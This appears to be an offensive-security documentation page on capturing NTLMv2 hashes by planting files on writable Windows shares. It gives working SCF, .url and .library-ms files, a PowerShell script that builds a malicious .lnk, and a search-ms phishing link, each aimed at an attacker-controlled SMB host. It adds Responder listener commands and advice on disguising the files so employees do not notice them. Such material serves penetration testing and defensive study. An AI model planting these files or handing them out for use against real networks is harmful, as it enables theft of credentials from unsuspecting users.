> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# Malicious Files for NTLM Capture

Windows Explorer renders certain file types the moment a folder is browsed, before the user ever double-clicks anything, just displaying the folder's contents triggers Explorer to resolve an icon path, a shortcut target, or a library location. Pointing that resolution at a UNC path (`\\attacker-ip\share`) forces the victim's machine to authenticate to it over SMB, handing over an NTLMv2 hash in the process. Drop one of these into a writable file share and capture every hash of everyone who browses it, no interaction beyond opening the folder required.

> **Legacy: SCF / LNK**
>
> Icon-path and shortcut-target resolution, both well known and both still worth trying, Windows Explorer's handling has shifted over the years but neither is fully dead everywhere.

> **Modern: URL / Library**
>
> `.url` internet shortcuts and `.library-ms`/`.searchConnector-ms` files achieve the same effect through a different resolution path, useful when the legacy formats get blocked.

> [!NOTE]
>
> All of these need a listener on the attacking side to actually capture anything, [Responder](https://github.com/lgandx/Responder)/[Inveigh](https://github.com/Kevin-Robertson/Inveigh), set up the same way as on [LLMNR/NBT-NS/mDNS Poisoning](https://0-x.dev/ad/llmnr-nbns-poisoning.md), the technique here is just a different way to *trigger* the authentication attempt, not a different way to catch it.

***

## SCF (Shell Command File)

SCF files are used by Windows Explorer for basic folder navigation (show desktop, move up a directory). Explorer resolves an SCF's `IconFile` path as soon as the containing folder is displayed, pointing that path at an SMB share you control is enough to trigger an authentication attempt from anyone who simply opens the folder.

**1. Create the SCF file**

Name it something that blends into the share, `@Inventory.scf` sorts near the top of a directory listing and looks like a normal spreadsheet companion file.

**2. Fill in the icon path**

```ini theme={null}
[Shell]
Command=2
IconFile=\\10.10.14.3\share\legit.ico
[Taskbar]
Command=ToggleDesktop
```

**3. Start Responder to catch the auth attempt**

```bash theme={null}
sudo responder -I eth0
```

**4. Drop it on a writable share and wait**

Any user with Explorer open to that folder triggers the SMB lookup automatically, Responder logs the NTLMv2 hash as soon as it comes in.

> [!WARNING]
>
> SCF-based capture no longer works on Windows Server 2019 and later, Microsoft tightened how Explorer resolves `IconFile` paths on newer builds. Still worth trying against older hosts, but don't rely on it as the only technique in a modern environment.

***

## Malicious .LNK File

Since SCF stopped working on newer hosts, a malicious `.lnk` (shortcut) file achieves the same result through its icon location instead, Explorer resolves a shortcut's icon the moment the folder is listed, exactly like the SCF trick, just through a different file format.

Writing one by hand is fiddly (the LNK binary format isn't plain text), [LNKBomb](https://github.com/dievus/lnkbomb) generates one directly, or a few lines of PowerShell do the same job without any extra tooling.

```powershell theme={null}
$objShell = New-Object -ComObject WScript.Shell
$lnk = $objShell.CreateShortcut("C:\legit.lnk")
$lnk.TargetPath = "\\<attackerIP>\@pwn.png"
$lnk.WindowStyle = 1
$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the directory where this file is saved will trigger an auth request."
$lnk.HotKey = "Ctrl+Alt+O"
$lnk.Save()
```

> [!TIP]
>
> The `TargetPath` is what actually triggers the authentication here, not the icon, Explorer resolves the target path to generate a preview/metadata. Naming it something an employee would expect to see (`Report.lnk`, `legit.lnk`) keeps it from standing out in the directory listing.

***

## .URL (Internet Shortcut) Files

A classic `.url` internet-shortcut file, normally used to bookmark a web page from the desktop, triggers the same UNC resolution when its `IconFile` property points at an SMB path instead of a local or HTTP one.

```ini theme={null}
[InternetShortcut]
URL=https://example.com
WorkingDirectory=.
IconFile=\\10.10.14.3\share\legit.ico
IconIndex=1
```

***

## .library-ms / .searchConnector-ms

Library and search-connector files define a virtual folder that aggregates content from one or more real locations, including a UNC path, and Explorer resolves that location as soon as the library is opened.

Create a file called `Inventory.library-ms` (or `Inventory.searchConnector-ms`, same content works for either extension) with the XML below, pointing `<url>` at the attacker-controlled SMB share, then drop it on the writable share just like the SCF/LNK/URL files above.

```xml theme={null}
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <name>Inventory</name>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1003</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
      <simpleLocation>
        <url>\\10.10.14.3\share</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>
```

***

### Direct Trigger: `search-ms:` URI

No file needs to be dropped at all, the same search-connector resolution fires from a link using Windows' `search-ms:` protocol handler directly. Send it as a link in a phishing email/document, or embed it in a shortcut, clicking it resolves the UNC location exactly like a `.searchConnector-ms` file would.

```text theme={null}
start "" "search:query=test&crumb=location:\\<ip>\share"
```

***

## Quick Reference Tools

> **[LLMNR / NBT-NS / mDNS Poisoning](https://0-x.dev/ad/llmnr-nbns-poisoning.md)**
>
> The broadcast-poisoning sibling technique, same listener setup, different trigger.

> **[LNKBomb](https://github.com/dievus/lnkbomb)**
>
> Generates malicious .lnk files for this exact technique without hand-building the binary format.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.